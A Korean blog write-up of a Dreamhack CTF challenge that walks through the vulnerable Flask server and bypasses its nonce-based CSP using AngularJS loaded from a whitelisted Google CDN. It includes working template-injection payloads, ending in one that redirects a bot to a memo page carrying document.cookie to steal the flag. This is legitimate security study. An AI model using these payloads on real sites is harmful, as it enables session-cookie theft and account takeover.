[WARGAME][드림핵 CTF] Client Side Template Injection

jckim22·2022년 12월 7일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
109/114

이번 문제는 이전에 공부할 때 풀었던 문제이다. 다시 복습 차원에서 풀어보도록 하겠다.

공부한 것을 활용하여 처음 푸는 느낌으로 문제를 풀어나갔다.

아래는 서버 코드이다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

코드를 분석하기 전 먼저 웹페이지 기능을 분석하겠다.

memo와 flag는 이전에 경험을 토대로 보았을 때 익스플로잇을 할 때 사용하는 기능일 것 같아 먼저 vuln 페이지로 들어가 보았다.

아래처럼 아무 글자나 param으로 입력 했을 때
화면에 출력해준다.

이 점을 생각해서 스크립트를 삽입 해보겠다.
아래처럼 일반적인 xss를 시도하게 되면

아무런 반응이 없다.

h1 태그는 아래처럼 성공적으로 인식이 된다.

개발자 도구를 켜보니 아래와 같은 오류가 나왔다.

대충 읽어보면 CSP 때문에 script를 사용할 수 없다는 내용이다.

그래서 위에 코드를 분석하게 되면

def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

위와 같이 CSP를 설정해주는 부분을 볼 수 있다.
해석하면 scrpt에 nonce를 부여하여 맞지 않으면 실행하지 않는다.

실제로 아래처럼 nonce가 설정되어 있기 때문에 내가 삽입한 script 코드는 실행되지 않았다.
이 nonce를 예측하는 것은 불가능할 것이라고 생각해서 뒷부분을 더 해석해보았다.

뒷부분에는 https://ajax.googleapis.com; 의 출처를 허용한다고 나와있다.
앞서 배웠던 angular.js는 저 주소에서 로드할 수 있음을 알 수 있다.

구글에 anglar.js만 검색해도 아래처럼 로드하는 방법이 나와있다.

html ng-app 안에 script src로 로드하고 {{}}로 코드를 작성하면 될 것 같다.

그렇게 아래와 같은 코드를 작성했지만 여전히 무반응이었다.

<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{alert(1)}}</html>

그 이유는 alert를 실행해줄 핸들러가 없기 때문이다.
javascript에서 constructor, 즉 생성자는 아래와 같은 함수를 가리킨다고 한다.

construcotr의 constructor는 Function()을 가리키기 때문에 문자열을 입력하면 마치 eval함수와 같이 함수로 변경해 실행시킬 수 있다.

"a".constructor 
/*
  function String() {
      [native code]
  } 
*/
"a".constructor.constructor
/*
  function Function() {
    [native code]
}
*/

자 그럼 아래처럼 constructor를 핸들러로 사용하여 아래와 같이 코드를 수정하자.

<html ng-app><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>{{constructor.constructor('alert(1)')()}}</html>1

그랬더니 성공할 수 있었다.

이걸 기반으로 아래와 같은 최종 익스플로잇을 짰다.
공격 대상은 호스트이기 때문에 그의 로컬 서버에는 이 서버가 있을 것이다.
그래서 memo페이지로 들어가게 하고 거기에 param으로 공격 대상의 쿠키를 적게 한다.

위에 코드를 보면 호스트의 쿠키에는 우리가 원하는 flag가 있다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script><html ng-app>{{ constructor.constructor("location='memo?memo='+document.cookie")() }}</html>

그렇게 하게 되면 아래처럼 성공적으로 플래그를 얻을 수 있다.

profile
개발/보안

0개의 댓글